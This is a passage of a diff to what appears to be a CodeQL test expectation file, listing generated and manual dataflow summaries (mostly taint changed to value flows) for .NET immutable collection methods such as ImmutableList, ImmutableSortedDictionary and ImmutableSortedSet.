System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | @@ -7613,16 +7623,19 @@ summary | System.Collections.Immutable;ImmutableHashSet;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableHashSet;CopyTo;(System.Array,System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Immutable;ImmutableHashSet;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | -| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | @@ -7674,17 +7687,17 @@ summary | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];Argument[0].Element;taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList+Builder;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;AddRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;manual | @@ -7783,27 +7796,26 @@ summary | System.Collections.Immutable;ImmutableList;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;InsertRange;(System.Int32,System.Collections.Generic.IEnumerable);Argument[1].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;LastIndexOf;(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[1];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveAll;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;Reverse;(System.Int32,System.Int32);Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | @@ -7840,15 +7852,15 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[2];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | @@ -7931,17 +7943,27 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];ReturnValue;value;dfc-generated | @@ -7965,10 +7987,10 @@ summary | System.Collections.Immutable;ImmutableSortedSet;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateBuilder;(System.Collections.Generic.IComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -7998,24 +8020,30 @@ summary | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;CopyTo;(System.Array,System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;Insert;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedSet;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -8447,6 +8475,7 @@ summary | System.ComponentModel.DataAnnotations.Schema;InversePropertyAttribute;InversePropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.Schema.InversePropertyAttribute.Property];value;dfc-generated | | 